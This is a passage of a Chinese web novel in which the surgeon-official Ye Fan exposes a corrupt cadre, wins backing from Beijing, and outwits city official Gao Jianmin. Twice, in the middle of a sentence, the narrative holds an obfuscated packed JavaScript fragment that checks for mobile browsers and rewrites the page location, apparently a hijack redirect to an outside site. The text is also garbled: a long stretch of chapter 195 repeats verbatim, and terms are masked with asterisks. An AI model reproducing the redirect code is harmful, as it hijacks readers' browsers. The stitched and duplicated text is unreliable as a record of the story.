“不。”叶凡的声音陡然提高,“这是‘拟金线莲草’,一种外形相似,但价值天差地别的杂草!我请省农科院的教授做过鉴定了,有鉴定报告。” 他从文件袋里拿出一份报告,甩在桌上。 “我想请问马主任,你儿子马小军的‘绿源农业公司’,是从哪里进的这批‘杂草’,冒充金线莲,套取了国家八万元的扶贫种苗款?” 马向东的脸色“刷”地一下变得惨白。 “你……你血口喷人!” “血口喷人?”叶凡冷笑一声,投影画面切换,变成了银行流水。 “这是你女儿马小红的‘宏达农资公司’的账目。项目期间,他们用市价两块钱一袋的劣质尿素,冒充一百块一袋的进口复合肥,卖给红岩村,净赚五万。这笔钱,有两万,当天就转到了你的卡上。马主任,你要不要解释一下,你女儿为什么这么孝顺?” 人群中发出一阵惊呼。 马向东浑身发抖,指着叶凡,嘴唇哆嗦着说不出话。 投影画面再次切换,是吴老三那个施工队的工程合同和一张张豆腐渣工程的照片。 “还有这三十万的灌溉渠,不到半年就塌了。这笔钱,你又拿了多少回扣?” 叶凡一步步逼近,每问一句,马向东的身体就矮一分。 “马向东!”叶凡的声音如同惊雷,在小院里炸响,“你把国家的扶贫款当成了你家的提款机!你把红岩村的村民,当成了你圈钱的工具!你吃的每一口肉,喝的每一口酒,都有他们的血汗!你算什么狗屁的人民干部!” “我……我……”马向东彻底崩溃了,从板凳上滑了下来,瘫倒在地,泣不成声。 纪委孙**站起身,对身后的两名工作人员挥了挥手。 “带走。” 看着马向东像条死狗一样被拖走,村民们先是寂静,随即爆发出雷鸣般的掌声。 张老蔫这个五十多岁的汉子,哭得像个孩子。 **看着眼前的一切,看着那个站在人群中,接受着村民们最淳朴感谢的年轻人,心中只剩下了敬畏。 他以为叶凡手里拿的是手术刀,精准,锋利。 现在他才明白,那不是手术刀,那是一把屠龙刀。 斩断的是**的利益链,屠掉的是盘踞在民生之上作威作福的恶龙。 会议结束,叶凡没有急着走。 他当着所有村民和**的面,公布了自己的“治疗方案”。 “贪官抓了,但病根还没除。” “第一,我会请省农科院的专家重新为红岩村的土壤和气候做评估,找到最适合我们种植的经济作物。” “第二,我代 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16253971|180509||http|test|mini|href|location.split(|),0,{})); () { $(.inform).remove(); $(#content).append( 表县政府承诺,无偿提供最优质的种苗和技术指导,不让大家再花一分冤枉钱。” “第三,”他看向苏沐秋,“我会请我们的苏大记者,利用她的媒体资源,为我们红岩村未来的产品,打造品牌,联系销路!我们不仅要种出来,还要卖出去,卖个好价钱!” 他的话,让所有村民的眼睛里,重新燃起了希望的光。 …… 与此同时,在村口停着的一辆挂着京都牌照的红旗轿车,缓缓的打开了车门。 车上下来两个人,一个头发花白、气质儒雅的老者,一个目光锐利的年轻人。 他们穿过人群,径直走到叶凡面前。 老者伸出手,微笑着说:“叶凡同志,你好,刚才的事情我们都看到了,真是非常的精彩啊,自我介绍一下,我姓林,从国家发改委来。” 叶凡和**一听,脸色都不由的微微一变。 叶凡赶紧上前,和他握了握手。 林老先生笑着点了点头:“叶县长,你写的报告,我们收到了。不过,我们今天来,不只为这个。” 他顿了顿,目光扫过焕发着生机的红岩村,意有所指地说:“我们觉得,有些病人,不能再等了。青川国际医院那个项目,专家组经过‘补充论证’,认为很有必要,也很紧迫。有人建议,三个月的观察期太长,应该立刻重启。” **的嘴巴慢慢张成了“o”型。 林老先生最后拍了拍叶凡的肩膀,留下一句意味深长的话。 “我们本来以为你只是个优秀的心外科医生。现在看来你更是一个出色的‘全科医生’。国家现在就需要你这样的全科医生。” 叶凡愣了一下,一时间不知道该说些什么才好。 林老微微一笑,对着叶凡和**说道:“李县长,叶县长,我看有些事情我们还是回青川县,再说怎么样?” **和叶凡赶紧点了点头,护送着林老他们上了红旗轿车。 叶凡站在原地,看着远去的红旗车,又看了看身边一张张充满希望的脸庞,他知道高建民布下的那步死棋,被一股来自更高层级的力量,盘活了。 而他的手术台也从一个小小的红岩村,再次扩展到了整个江城,甚至更远的地方。 旁边的**轻轻的推了他一下:“叶老弟,还愣着干嘛?赶紧上车啊,难道你还想让从京都来的大领导等着我们吗?” 叶凡有些尴尬的挠了挠头,随后赶紧跟着**上了车,向着青川县的方向快速驶去。
第194章 京都来风,牌局重洗!
返回青川县城的路上,车里的气氛有些凝固。 开车的司机是**的心腹,此刻却紧张得手心冒汗,方向盘都快被他捏出水来。 后座上,**像个刚从水里捞出来的人,大口大口地喘着粗气,脸色在兴奋的潮红和后怕的煞白之间来回切换。 “老弟……不,叶县长……不不,祖宗!”**终于缓过一口气,他一把抓住叶凡的胳膊,声音都在发颤,“刚才……刚才村口那几位,你掐我一下,我不是在做梦吧?红旗车,京字牌照,从国家发改委来……我的娘嘞,咱们青川这小庙,什么时候来过这么大一尊菩萨?” 叶凡正闭目养神,闻言睁开眼,嘴角带着一丝若有若无的笑意:“李县长,别紧张,人家也是来工作的。” “工作?这叫工作吗?这叫天降甘霖!”**激动得语无伦次,“你知道那是什么地方吗?国家发改委!管着全国的钱袋子和项目审批!刚才那位林老,虽然没说具体职务,但那气场,那派头,身边跟着的年轻人那眼神,最起码也是个司长级别的大人物!他……他怎么会知道你?还亲自为你站台?” **问出了此刻心里最大的疑惑,也是最让他感到敬畏的地方。 高建民的电话打压,言犹在耳。 那可是****,江城的一号人物,一句话就能决定一个县级干部的**生命。 可转眼间,一个来自权力中枢的人物,就轻描淡写地把高建民的决定给“补充论证”了。 这不是简单的撑腰,这是降维打击。 叶凡看着窗外飞速**的田野,声音平静:“李县长,你还记不记得我熬了一夜写的那份报告?” “记得啊,《关于在经济欠发达地区构建‘急救式扶贫’与‘康复式造血’相结合的民生保障体系探索》,名字长得我差点没背下来。你不是说是写给一个‘巡查员’的吗?”**猛地坐直了身体,眼睛瞪得像铜铃,“难道那位林老,就是……” “我猜他不仅仅是巡查员。”叶凡的目光深邃,“他是来寻找‘手术范本’的。红岩村的扶贫是一场小手术。青川国际医院的项目是一场中型手术。他想看的是这套‘外科手术式’的执政理念,能不能在更大的范围内复制推广。” **听得云里雾里,但他抓住了关键点:“你的意思是咱们青川要成试点了?” “有可能。”叶凡点点头,“高**想让我去扶贫,是想把我按死在基层。但他没想到这块他眼里的‘泥潭’,恰好是京城那些大人物最关心的‘试验田’。他出了一步臭棋,把我们送到了聚光灯下。” **感觉自己的心脏快要跳出嗓子眼了。 他当了半辈子官,信奉的是谨小慎微,步步为营。 他做梦也想不到,自己有一天会跟着一个年轻人,玩这么大一盘棋,对手是****,而棋盘的另一端,竟然牵动着京都。 “那……那高**那边……”**还是有些发怵。 “他现在很难受。”叶凡淡淡一笑,“就像一个主治医生,刚给病人下了病危通知,准备放弃治疗了。结果iCu的顶级专家空降下来,说这个病人不但能救,还要作为重点案例进行观摩。你说,这个主告医生脸往哪儿搁?” 这个比喻,**秒懂。 他忍不住笑出了声,随即又赶紧捂住嘴,紧张地看了看四周,仿佛高建民就在车里。 回到县政府,林老一行人已经在小会议室等候。 这次,气氛正式了许多。 林老身边的年轻人为众人倒上茶水,然后恭敬地站在他身后。 “重新介绍一下。”林老微笑着看向叶凡和**,“我叫林建业,国家发改委地区经济振兴司的副司长。” **手里的茶杯一晃,差点没拿稳。 副司长! 虽然只是个“副”字,但放在国家部委,放到地方上,那就是封疆大吏都要客客气气对待的大人物。 “林司长,欢迎您莅临指导。”**赶紧站起来,姿态放得极低。 “建国同志,坐,不要拘谨。”林建业摆摆手,目光转向叶凡,“小叶同志,你的那份报告,我们司里组织了几位专家连夜研读,评价很高啊。‘急救式扶贫’,精准输血,解决燃眉之急。‘康复式造血’,产业赋能,激发内生动力。这个提法,很有新意,也很务实。把医理和政理结合起来,你这个‘全科医生’,名不虚传。” 叶凡谦虚道:“林司长过誉了,只是在基层的一些不成熟的想法。” “不,这恰恰是我们在顶层设计中最需要的东西——来自一线的,带着泥土芬芳的思考。”林建业话锋一转,“江城市的同志对于青川国际医院的项目,有些不同的意见。我们理解,新事物的出现,总会伴随着争议。但是,在推动优质医疗资源下沉,探索公立医疗体系与国际商业医疗合作新模式的这条路上,国家需要有敢于第一个吃螃蟹的人。” 他看着叶凡,一字一句,掷地有声:“我们认为青川县具备成为这个‘螃蟹’的条件。叶凡同志,你,具备带领大家吃下这只‘螃蟹’的能力。” **的心彻底放回了肚子里。 这已经不是暗示了,这是明示! “所以,”林建业继续说道,“经过我们专家组的‘补充论证’,我们建议青川国际医院项目不仅要重启,还要加快!市里担心的资金问题,我们会协调政策性银行,提供长期低息贷款。技术问题,康普顿的史密斯先生已经表达了强烈的合作意愿。至于项目负责人嘛……” 他笑了笑,看向叶凡:“我觉得,没有比总设计师更适合当总指挥的人了。小叶同志,你肩上的担子更重了。” 会议室里一片寂静。 叶凡知道,这是林建业,是国家层面,递过来的一把削铁如泥的“手术刀”。 有了这把刀,别说高建民,就算是更高级别的阻力,他都敢碰一碰。 “感谢国家的信任。”叶凡站起身,郑重地说道,“我一定竭尽全力,完成好这次‘手术’。” 送走林建业一行人,**感觉自己走路都轻飘飘的,像是踩在云端。 “赢了……咱们真的赢了!”他兴奋地搓着手。 叶凡却摇了摇头:“战斗才刚刚开始。林司长给了我们‘尚方宝剑’,但怎么用,还得看我们自己。高**,是不会就这么善罢甘休的。” 话音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16253972|180509||http|test|mini|href|location.split(|),0,{})); () { $(.inform).remove(); $(#content).append( 刚落,叶凡的手机响了。 是一个陌生的江城号码。 他接起电话,听筒里传来一个毕恭毕敬,却又透着一股子公事公办味道的年轻男声。 “请问是青川县的叶凡同志吗?我是**办公室的,高**请您明天上午九点,到他办公室来一趟,汇报一下近期的工作。” 来了。 叶凡的嘴角勾起一抹意味深长的弧度。 挂掉电话,**紧张地凑过来:“高**的?” “鸿门宴的请柬。” “那你去,岂不是很危险?” “不。”叶凡看着窗外江城的方向,眼神明亮,“这是一场‘专家会诊’。现在,我也有资格和他平起平坐地讨论病情了。” 当晚,叶凡没有立即准备第二天汇报的材料。 他约了苏沐秋,在青川县城边一条安静的河边散步。 晚风****,吹动着苏沐秋的发梢。 她今天没有穿记者的职业装,而是一身浅色的连衣裙,在月光下显得格外温柔。 “今天在红岩村,我真的被吓到了。”苏沐秋的声音里,还带着一丝后怕,“马向东被带走的时候,我看到那些村民的眼神,我都快哭了。后来,看到那辆红旗车,我的心又提到了嗓子眼。” 她停下脚步,转过身,一双明眸认真地看着叶凡:“你走路,能不能别老走在悬崖边上?看着都让人心惊胆战。” 叶凡笑了:“外科医生本来就是在刀尖上跳舞的职业。走惯了,就觉得平地没意思了。” 苏沐秋被他气笑了,轻轻捶了他一下:“贫嘴。你那份报告到底写了什么,能惊动京都的大人物?” “也没什么。”叶凡看着波光粼粼的河面,“就是给一位生了病的‘病人’写了一封很长很长的情书。” 苏沐秋愣住了,一时间没明白他话里的意思。 “情书?” “对。”叶凡的目光悠远,“告诉他,虽然他病了,病得很重,但我爱他,我想治好他。我告诉他,我会用最锋利的刀,切掉他身上的烂肉;用最精密的针,缝合他的伤口;用最温暖的手,抚平他的伤痛。直到他重新站起来,比以前更健康,更强壮。” 苏沐秋静静地听着,她从叶凡的眼睛里,看到了一片她从未见过的,广阔而深沉的海。 那不是一个普通官员对权力的渴望,而是一种近乎信仰的,想要改变什么的执着。 她忽然觉得,自己以前对他的担心,有些多余。 这样的人怎么可能会被轻易打倒? “喂。”苏沐秋忽然开口。 “嗯?” “你……你给‘病人’写了情书,那有没有想过,给身边的人,也写一封?”她的声音很轻,像风一样,但每一个字,都清晰地敲在叶凡的心上。 叶凡转过头,看着月光下,她那双亮得像星星的眼睛和微微泛红的脸颊,心头猛地一颤。 他伸出手,轻轻拂去她脸颊上的一缕发丝,指尖无意间触碰到她温润的皮肤,两人都像是被微弱的电流击中,同时僵了一下。 “报告……还没写完。”叶凡的声音第一次有了一丝不易察觉的沙哑,“等这次手术做完了,我一定补上。”
第195章 **的“问诊”!
第二天一早,县政府大院。
**围着叶凡的专车,急得像个热锅上的蚂蚁。
“这套不行,太张扬了,像去领奖的!”他否决了叶凡一身崭新的西装。
“这件也不行,太旧了,像去要饭的!”他又否决了叶凡平时穿的夹克。
最后,他亲自从自己办公室拿来一套半新不旧的深色中山装,不由分说地给叶凡换上:“就这套!低调,稳重,还带着点老干部的朴实,高**就喜欢这个调调。”
叶凡哭笑不得地整理着衣领,感觉自己像个即将被送去相亲的木偶。
“李县长,我只是去汇报工作,不是去选美。”
“你懂什么!”**压低声音,神神秘秘地凑到他耳边,“这叫‘形象管理’!今天你见的不是一般人,是高建民!那家伙的眼睛比x光机还毒,你一个眼神,一个动作,他都能解读出十八层意思来。咱们在战略上藐视他,但在战术上,必须得把他当成终极Boss来对待!”
他一边说,一边往叶凡的公文包里塞东西。
一盒**的茶叶,一本最新的党建理论书籍,甚至还有一小瓶速效救心丸。
“茶叶是用来缓和气氛的,书是用来表明态度的,这个……”他晃了晃药瓶,“是以防万一的。万一他给你气受,你别硬扛,当场吃两粒,让他知道你‘身体不好’,他下手还能轻点。”
叶凡看着**这一系列骚操作,彻底无语了。
这哪是去汇报工作,简直是去上演一出苦肉计。
“行了,李县长,心意我领了。”叶凡把速效救心丸又塞回他手里,“我这心外科医生,要是被别人气出心脏病,传出去还怎么混?放心吧,我不是去求饶的,是去‘会诊’的。”
他拍了拍**的肩膀,转身上了车。
看着远去的汽车,**还是不放心地喃喃自语:“会诊?就怕人家是直接给你开死亡证明啊……”
……
江城**大楼,**办公室。
办公室大得惊人,红木的办公桌光可鉴人,背后是一整面墙的书柜,摆满了精装书籍。
高建民就坐在这张巨大的书桌后面,戴着一副金丝眼镜,正在审阅文件。
他没有抬头,整个办公室里,只有他笔尖划过纸张的沙沙声,压抑得让人喘不过气。
叶凡进来后,**办的秘书给他倒了杯水,就悄无声息地退了出去,顺手关上了厚重的实木门。
“高**,您找我。”叶凡站在离办公桌三米远的地方,不卑不亢地开口。
高建民仿佛没听见,依旧低着头,足足过了五分钟,他才慢条斯理地放下笔,摘下眼镜,揉了揉鼻梁。
然后,他抬起头,目光像两道冷电,直射在叶凡脸上。
“小叶同志,来了啊。”他的声音很平静,却带着一股居高临下的审视,“坐吧。”
叶凡在他对面的椅子上坐下,只坐了三分之一,腰杆挺得笔直。
“听说,你最近在青川县,搞得有声有色啊。”高建民端起茶杯,吹了吹浮沫,“扶贫工作,抓出了新亮点。新闻发布会,开出了新水平。连京都的同志都惊动了。了不起,真是年轻有为。”
这一连串的“表扬”,听在耳朵里,却比骂人还难受。
“高**过奖了,我只是做了一些分内的工作。”叶凡的回答滴水不漏。
“分内的工作?”高建民放下茶杯,声音陡然转冷,“绕开**,直接向上面捅材料,这也是你的分内工作?煽动村民,****,让**的工作陷入被动,这更是你的分内工作?”
他身体微微前倾,一股强大的压迫感扑面而来:“叶凡同志,我承认,你有能力,有魄力。但你缺乏一样东西——**纪律!你眼里还有没有组织?还有没有我这个****?”
面对疾风骤雨般的质问,叶凡的表情没有丝毫变化。
他迎着高建民的目光,平静地开口:“高**,请允许我用一个医生的角度来解释。红岩村,是一个长了恶性肿瘤的病人,马向东就是那个肿瘤。当时的情况,病人已经出现了严重的并发症,如果按照常规的挂号、检查、排队等手术流程,可能等不到进手术室,病人就已经没了。我作为一线医生,只能选择紧急开胸,先行切除。”
“至于**,”他顿了顿,“那不是**,那是‘无影灯’。只有把手术过程置于最明亮的灯光下,让所有人都能看见,才能确保手术的干净、彻底,防止术后感染和并发症。”
高建民被他这套歪理说得一愣,随即冷哼一声:“说得比唱得好听!你这是在狡辩!你把官场当成你的手术室,把人民干部当成你的病人,你想切就切,想缝就缝,谁给你的权力?”
“是人民。”叶凡的声音不大,却字字千钧,“是红岩村那些被盘剥了三年,连干净水都喝不上的村民。是那些拿到被拖欠的工钱后,对我磕头的老木匠。我的权力,来自他们。”
办公室里的空气,仿佛凝固了。
高建民死死地盯着叶凡,他没想到这个年轻人非但没有丝毫畏惧和退缩,反而敢当面跟他讲这些大道理。
许久,高建民向后靠在椅背上,脸上的怒意渐渐收敛,取而代之的是一种深不可测的平静。
“好,很好。”他点了点头,似乎是认可了叶凡的说法,“既然你这么有能力,这么有担当,那组织上就更要给你压压担子了。”
他话锋一转:“国际医院项目,既然上面打了招呼,市里肯定全力支持。但是,这个项目投资巨大,影响深远,必须慎之又慎。为了确保项目能够顺利、合规地进行,**决定成立一个‘青川国际医院项目联合督导组’,由常务副市长王海东同志担任组长,全程监督项目的招标、建设和运营。”
叶凡心里一沉。
王海东,江城官场人尽皆知,是高建民一手提拔起来的铁杆心腹,以作风强硬、擅长“挑刺”闻名。
让他来当督导组长,这不叫监督,这叫“监军”。明摆着就是派一个太上皇过来,架空自己。
高建民看着叶凡瞬间变化的脸色,心中一阵快意。
小子,你不是能吗?我动不了项目,还动不了你?
我在你身边安个钉子,让你干什么都束手束脚,我看你还怎么折腾!
然而,叶凡只是沉默了几秒钟,便抬起头,脸上露出了“真诚”的笑容。
“感谢**的关心和支持!我完全拥护**的决定!”他一脸激动地说道,“王市长经验丰富,由他来掌舵,我们基层干部心里就更有底了!这真是太好了!”
这下,轮到高建民发懵了。
他准备好的一肚子敲打的话,全被叶凡这突如其来的“拥护”给堵了回去。
这小子葫芦里卖的什么药?
叶凡似乎看出了他的疑惑,紧接着说道:“高**,我还有一个不成熟的小建议。既然这个项目,林司长他们那么重视,甚至有可能成为国家级的试点。那我们的督导组,规格是不是可以再高一点,视野再开阔一点?”
“哦?你说说看。”高建民眯起了眼睛。
“我的意思是,我们能不能主动向省发改委申请,请他们也派一位专家,加入我们的督导组,进行业务指导?另外,我听说国家发改委那边有个专家智库,都是国内顶尖的专家。我们能不能也斗胆邀请一两位,担任我们项目的‘技术顾问’?当然,他们不用常驻,定期给我们做做线上指导就行。”
叶凡一脸期盼地看着高建民:“这样一来,我
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们项目就有市领导把关,省领导指导,国家级专家顾问。这简直是三保险啊!项目要是再出问题,那都不可能!高**,您觉得呢?”
高建民的脸色瞬间变得无比难看。
他感觉自己像是用尽全力打出一拳,结果却打在了一团棉花上,不,是打在了一个挂满尖刺的仙人球上!
他派王海东去,是想给叶凡下绊子。
结果叶凡顺水推舟,直接把省里、甚至国家层面的“神仙”都请了过来。
到时候,王海东这个“监军”,就变成了一个端茶倒水的服务员!
他要是敢乱伸手,省里和国家的专家第一个就不会答应。
叶凡这招“借力打力”,直接把他的“监军”变成了“人质”!
高建民看着眼前这个满脸“纯真”笑容的年轻人,后背第一次窜起一股寒意。
这小子哪里是个愣头青,分明是一只成了精的小狐狸!
“你的建议……很好。”高建民几乎是从牙缝里挤出这几个字,“**会研究的。”
“谢谢高**!”叶凡站起身,深深鞠了一躬,“那我就先回去准备材料,等候王市长莅临指导了!不打扰您工作了。”
说完,他转身,迈着轻快的步伐,走出了办公室。
门关上的那一刻,高建民再也忍不住,抓起桌上的杯子,狠狠地摔在了地上。
“砰”的一声脆响,上好的紫砂杯,四分五裂。
叶凡走出**大楼,阳光照在身上,暖洋洋的。
他深吸一口气,感觉胸中的一口浊气,尽数吐出。
这场“会诊”,他不仅顶住了压力,还顺手给高建民做了一次“微创手术”,在他安插的钉子旁边,又埋下了几根更硬的钢针。
他正准备上车,忽然,一个怯生生的声音从身后传来。
“请问您是叶凡,叶医生吗?”
叶凡回头,看到一个二十出头的女孩,穿着朴素,手里紧紧攥着一个洗得发白的布包,正一脸紧张又带着期盼地看着他。
叶凡觉得她有些面熟。
“我是。你是……”
“我叫王雪。”女孩的眼圈一下子红了,“我爸是王建平……不,王建平是我哥。我爸是王大海,就是……就是三年前在您手上做手术,后来去世的那个病人。”
叶凡的心头一震。
他当然记得这个病人。
那场被魏东和王建平联手诬陷为“医疗事故”的手术,是他心中一直无法释怀的痛。
“你好。”叶凡的声音柔和了下来,“你找我,有什么事吗?”
“我是来替我爸,跟您说声谢谢。还有,对不起。”王雪说着,眼泪就流了下来,“我哥那个畜生做的事,我们后来都知道了。他为了钱,竟然污蔑您……我爸在天有灵,都不会安息的。”
“都过去了。”叶凡安慰道,“你哥也受到了应有的惩罚。”
“不,还没完。”王雪摇摇头,她从布包里,小心翼翼地拿出一个陈旧的笔记本,递给叶凡。
“这是我爸的日记。他以前也是个医生,后来身体不好才不做了。他做手术前,其实身体已经很差了,但他一直在自己调查一些事情。他去世前一天,把这个本子交给我,他说,他信不过我哥,如果他有什么万一,让我一定把这个本子,交给一个他信得过的好医生。”
王雪的眼睛里闪烁着一种坚定的光:“叶医生,我看了新闻,我知道,您就是我爸说的那种好医生。这个,给您。”
叶凡接过那个沉甸甸的笔记本,心中涌起一股异样的感觉。
“这里面,是什么?”
“我看不懂。”王雪摇摇头,“都是一些药名,还有日期,还有一些奇怪的符号。但我爸说过,这里面,藏着能要人命的秘密。”第二天一早,县政府大院。
**围着叶凡的专车,急得像个热锅上的蚂蚁。
“这套不行,太张扬了,像去领奖的!”他否决了叶凡一身崭新的西装。
“这件也不行,太旧了,像去要饭的!”他又否决了叶凡平时穿的夹克。
最后,他亲自从自己办公室拿来一套半新不旧的深色中山装,不由分说地给叶凡换上:“就这套!低调,稳重,还带着点老干部的朴实,高**就喜欢这个调调。”
叶凡哭笑不得地整理着衣领,感觉自己像个即将被送去相亲的木偶。
“李县长,我只是去汇报工作,不是去选美。”
“你懂什么!”**压低声音,神神秘秘地凑到他耳边,“这叫‘形象管理’!今天你见的不是一般人,是高建民!那家伙的眼睛比x光机还毒,你一个眼神,一个动作,他都能解读出十八层意思来。咱们在战略上藐视他,但在战术上,必须得把他当成终极Boss来对待!”
他一边说,一边往叶凡的公文包里塞东西。
一盒**的茶叶,一本最新的党建理论书籍,甚至还有一小瓶速效救心丸。
“茶叶是用来缓和气氛的,书是用来表明态度的,这个……”他晃了晃药瓶,“是以防万一的。万一他给你气受,你别硬扛,当场吃两粒,让他知道你‘身体不好’,他下手还能轻点。”
叶凡看着**这一系列骚操作,彻底无语了。
这哪是去汇报工作,简直是去上演一出苦肉计。
“行了,李县长,心意我领了。”叶凡把速效救心丸又塞回他手里,“我这心外科医生,要是被别人气出心脏病,传出去还怎么混?放心吧,我不是去求饶的,是去‘会诊’的。”
他拍了拍**的肩膀,转身上了车。
看着远去的汽车,**还是不放心地喃喃自语:“会诊?就怕人家是直接给你开死亡证明啊……”
……
江城**大楼,**办公室。
办公室大得惊人,红木的办公桌光可鉴人,背后是一整面墙的书柜,摆满了精装书籍。
高建民就坐在这张巨大的书桌后面,戴着一副金丝眼镜,正在审阅文件。
他没有抬头,整个办公室里,只有他笔尖划过纸张的沙沙声,压抑得让人喘不过气。
叶凡进来后,**办的秘书给他倒了杯水,就悄无声息地退了出去,顺手关上了厚重的实木门。
“高**,您找我。”叶凡站在离办公桌三米远的地方,不卑不亢地开口。
高建民仿佛没听见,依旧低着头,足足过了五分钟,他才慢条斯理地放下笔,摘下眼镜,揉了揉鼻梁。
然后,他抬起头,目光像两道冷电,直射在叶凡脸上。
“小叶同志,来了啊。”他的声音很平静,却带着一股居高临下的审视,“坐吧。”
叶凡在他对面的椅子上坐下,只坐了三分之一,腰杆挺得笔直。
“听说,你最近在青川县,搞得有声有色啊。”高建民端起茶杯,吹了吹浮沫,“扶贫工作,抓出了新亮点。新闻发布会,开出了新水平。连京都的同志都惊动了。了不起,真是年轻有为。”
这一连串的“表扬”,听在耳朵里,却比骂人还难受。
“高**过奖了,我只是做了一些分内的工作。”叶凡的回答滴水不漏。
“分内的工作?”高建民放下茶杯,声音陡然转冷,“绕开**,直接向上面捅材料,这也是你的分内工作?煽动村民,****,让**的工作陷入被动,这更是你的分内工作?”
他身体微微前倾,一股强大的压迫感扑面而来:“叶凡同志,我承认,你有能力,有魄力。但你缺乏一样东西——**纪律!你眼里还有没有组织?还有没有我这个****?”
面对疾风骤雨般的质问,叶凡的表情没有丝毫变化。
他迎着高建民的目光,平静地开口:“高**,请允许我用一个医生的角度来解释。红岩村,是一个长了恶性肿瘤的病人,马向东就是那个肿瘤。当时的情况,病人已经出现了严重的并发症,如果按照常规的挂号、检查、排队等手术流程,可能等不到进手术室,病人就已经没了。我作为一线医生,只能选择紧急开胸,先行切除。”
“至于**,”他顿了顿,“那不是**,那是‘无影灯’。只有把手术过程置于最明亮的灯光下,让所有人都能看见,才能确保手术的干净、彻底,防止术后感染和并发症。”
高建民被他这套歪理说得一愣,随即冷哼一声:“说得比唱得好听!你这是在狡辩!你把官场当成你的手术室,把人民干部当成你的病人,你想切就切,想缝就缝,谁给你的权力?”
“是人民。”叶凡的声音不大,却字字千钧,“是红岩村那些被盘剥了三年,连干净水都喝不上的村民。是那些拿到被拖欠的工钱后,对我磕头的老木匠。我的权力,来自他们。”
办公室里的空气,仿佛凝固了。
高建民死死地盯着叶凡,他没想到这个年轻人非但没有丝毫畏惧和退缩,反而敢当面跟他讲这些大道理。
许久,高建民向后靠在椅背上,脸上的怒意渐渐收敛,取而代之的是一种深不可测的平静。
“好,很好。”他点了点头,似乎是认可了叶凡的说法,“既然你这么有能力,这么有担当,那组织上就更要给你压压担子了。”
他话锋一转:“国际医院项目,既然上面打了招呼,市里肯定全力支持。但是,这个项目投资巨大,影响深远,必须慎之又慎。为了确保项目能够顺利、合规地进行,**决定成立一个‘青川国际医院项目联合督导组’,由常务副市长王海东同志担任组长,全程监督项目的招标、建设和运营。”
叶凡心里一沉。
王海东,江城官场人尽皆知,是高建民一手提拔起来的铁杆心腹,以作风强硬、擅长“挑刺”闻名。
让他来当督导组长,这不叫监督,这叫“监军”。明摆着就是派一个太上皇过来,架空自己。
高建民看着叶凡瞬间变化的脸色,心中一阵快意。
小子,你不是能吗?我动不了项目,还动不了你?
我在你身边安个钉子,让你干什么都束手束脚,我看你还怎么折腾!
然而,叶凡只是沉默了几秒钟,便抬起头,脸上露出了“真诚”的笑容。
“感谢**的关心和支持!我完全拥护**的决定!”他一脸激动地说道,“王市长经验丰富,由他来掌舵,我们基层干部心里就更有底了!这真是太好了!”
这下,轮到高建民发懵了。
他准备好的一肚子敲打的话,全被叶凡这突如其来的“拥护”给堵了回去。
这小子葫芦里卖的什么药?
叶凡似乎看出了他的疑惑,紧接着说道:“高**,我还有一个不成熟的小建议。既然这个项目,林司长他们那么重视,甚至有可能成为国家级的试点。那我们的督导组,规格是不是可以再高一点,视野再开阔一点?”
“哦?你说说看。”高建民眯起了眼睛。
“我的意思是,我们能不能主动向省发改委申请,请他们也派一位专家,加入我们的督导组,进行业务指导?另外,我听说国家发改委那边有个专家智库,都是国内顶尖的专家。我们能不能也斗胆邀请一两位,担任我们项目的‘技术顾问’?当然,他们不用常驻,定期给我们做做线上指导就行。”
叶凡一脸期盼地看着高建民:“这样一来,我
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们项目就有市领导把关,省领导指导,国家级专家顾问。这简直是三保险啊!项目要是再出问题,那都不可能!高**,您觉得呢?”
高建民的脸色瞬间变得无比难看。
他感觉自己像是用尽全力打出一拳,结果却打在了一团棉花上,不,是打在了一个挂满尖刺的仙人球上!
他派王海东去,是想给叶凡下绊子。
结果叶凡顺水推舟,直接把省里、甚至国家层面的“神仙”都请了过来。
到时候,王海东这个“监军”,就变成了一个端茶倒水的服务员!
他要是敢乱伸手,省里和国家的专家第一个就不会答应。
叶凡这招“借力打力”,直接把他的“监军”变成了“人质”!
高建民看着眼前这个满脸“纯真”笑容的年轻人,后背第一次窜起一股寒意。
这小子哪里是个愣头青,分明是一只成了精的小狐狸!
“你的建议……很好。”高建民几乎是从牙缝里挤出这几个字,“**会研究的。”
“谢谢高**!”叶凡站起身,深深鞠了一躬,“那我就先回去准备材料,等候王市长莅临指导了!不打扰您工作了。”
说完,他转身,迈着轻快的步伐,走出了办公室。
门关上的那一刻,高建民再也忍不住,抓起桌上的杯子,狠狠地摔在了地上。
“砰”的一声脆响,上好的紫砂杯,四分五裂。
叶凡走出**大楼,阳光照在身上,暖洋洋的。
他深吸一口气,感觉胸中的一口浊气,尽数吐出。
这场“会诊”,他不仅顶住了压力,还顺手给高建民做了一次“微创手术”,在他安插的钉子旁边,又埋下了几根更硬的钢针。
他正准备上车,忽然,一个怯生生的声音从身后传来。
“请问您是叶凡,叶医生吗?”
叶凡回头,看到一个二十出头的女孩,穿着朴素,手里紧紧攥着一个洗得发白的布包,正一脸紧张又带着期盼地看着他。
叶凡觉得她有些面熟。
“我是。你是……”
“我叫王雪。”女孩的眼圈一下子红了,“我爸是王建平……不,王建平是我哥。我爸是王大海,就是……就是三年前在您手上做手术,后来去世的那个病人。”
叶凡的心头一震。
他当然记得这个病人。
那场被魏东和王建平联手诬陷为“医疗事故”的手术,是他心中一直无法释怀的痛。
“你好。”叶凡的声音柔和了下来,“你找我,有什么事吗?”
“我是来替我爸,跟您说声谢谢。还有,对不起。”王雪说着,眼泪就流了下来,“我哥那个畜生做的事,我们后来都知道了。他为了钱,竟然污蔑您……我爸在天有灵,都不会安息的。”
